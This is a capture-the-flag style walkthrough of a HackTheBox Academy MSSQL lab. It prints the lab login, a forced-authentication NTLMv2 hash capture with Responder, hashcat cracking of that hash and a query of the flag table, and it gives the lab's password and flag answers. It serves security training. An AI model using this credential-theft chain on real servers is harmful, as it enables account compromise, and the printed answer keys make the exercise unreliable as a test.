Attacking SQL Databases
ℹ️ Informations¶
- 🌐 Website: HackTheBox
 - 📚 Module: Attacking Common Services
 - 🔗 Link: Attacking SQL Databases
 
Authenticate to 10.129.203.12 (ACADEMY-ATTCOMSVC-WIN-02) with user htbdbuser and password MSSQLAccess01!
❓Question¶
What is the password for the "mssqlsvc" user?
📋 Walkthrough¶
┌──(kali㉿kali)-[~/Desktop/HTB/Academy]
└─$ impacket-mssqlclient htbdbuser@10.129.203.12 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 
Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(WIN-02\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(WIN-02\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands
SQL (htbdbuser  guest@master)> show databases;
ERROR(WIN-02\SQLEXPRESS): Line 1: Could not find stored procedure 'show'.
SQL (htbdbuser  guest@master)>
impacket-mssqlclient tool with the provided credentials. We attempt to list the databases but encounter an error because the show databases command is not supported. On attack machine
Next, we start theresponder tool on our attack machine to capture any NTLM hashes that might be sent over the network. Request
We execute thexp_dirtree stored procedure to force the SQL server to authenticate to our responder instance, which will capture the NTLM hash. Response
[SMB] NTLMv2-SSP Client   : 10.129.203.12
[SMB] NTLMv2-SSP Username : WIN-02\mssqlsvc
[SMB] NTLMv2-SSP Hash     : mssqlsvc::WIN-02:00598b5d1b0d91da:6A17E1B2780D4FF5BD389053521038A5:010100000000000080D16572B499DB01E3F9784A4CDF5E9B0000000002000800440053003800300001001E00570049004E002D0031004300550052004E004900590054004E0045004F002E0044005300380030002E004C004F00430041004C000300140044005300380030002E004C004F00430041004C000500140044005300380030002E004C004F00430041004C000700080080D16572B499DB0106000400020000000800300030000000000000000000000000300000DC2769331B161770BD2C2A6578996B418ACDE22E93439BC50C8147CCD61CAF4F0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310035002E00350033000000000000000000
responder tool captures the NTLM hash for the mssqlsvc user. ┌──(kali㉿kali)-[~/Desktop/HTB/Academy]
└─$ echo "mssqlsvc::WIN-02:00598b5d1b0d91da:6A17E1B2780D4FF5BD389053521038A5:010100000000000080D16572B499DB01E3F9784A4CDF5E9B0000000002000800440053003800300001001E00570049004E002D0031004300550052004E004900590054004E0045004F002E0044005300380030002E004C004F00430041004C000300140044005300380030002E004C004F00430041004C000500140044005300380030002E004C004F00430041004C000700080080D16572B499DB0106000400020000000800300030000000000000000000000000300000DC2769331B161770BD2C2A6578996B418ACDE22E93439BC50C8147CCD61CAF4F0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310035002E00350033000000000000000000" > hash
hash. ┌──(kali㉿kali)-[~/Desktop/HTB/Academy]
└─$ hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-haswell-13th Gen Intel(R) Core(TM) i7-13700KF, 14915/29894 MB (4096 MB allocatable), 24MCU
<SNIP>
MSSQLSVC::WIN-02:00598b5d1b0d91da:6a17e1b2780d4ff5bd389053521038a5:010100000000000080d16572b499db01e3f9784a4cdf5e9b0000000002000800440053003800300001001e00570049004e002d0031004300550052004e004900590054004e0045004f0004003400570049004e002d0031004300550052004e004900590054004e0045004f002e0044005300380030002e004c004f00430041004c000300140044005300380030002e004c004f00430041004c000500140044005300380030002e004c004f00430041004c000700080080d16572b499db0106000400020000000800300030000000000000000000000000300000dc2769331b161770bd2c2a6578996b418acde22e93439bc50c8147ccd61caf4f0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310035002e00350033000000000000000000:princess1
hashcat to crack the NTLM hash using the rockyou.txt wordlist. The password for the mssqlsvc user is revealed to be princess1. MSSQLSVC:princess1
Answer
princess1
❓Question¶
Enumerate the "flagDB" database and submit a flag as your answer.
📋 Walkthrough¶
┌──(kali㉿kali)-[~/Desktop/HTB/Academy]
└─$ impacket-mssqlclient MSSQLSVC@10.129.203.12 -windows-auth
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 
Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(WIN-02\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(WIN-02\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands
SQL (WIN-02\mssqlsvc  WINSRV02\mssqlsvc@flagDB)> SELECT table_name FROM flagDB.INFORMATION_SCHEMA.TABLES
table_name   
----------   
tb_flag      
SQL (WIN-02\mssqlsvc  WINSRV02\mssqlsvc@flagDB)> select * from tb_flag;
flagvalue                              
------------------------------------   
b'HTB{!_l0v3_#4$#!n9_4nd_r3$p0nd3r}'   
mssqlsvc user and the cracked password. We then enumerate the tables in the flagDB database and find a table named tb_flag. Finally, we query the tb_flag table to retrieve the flag. Answer
HTB{!_l0v3_#4$#!n9_4nd_r3$p0nd3r}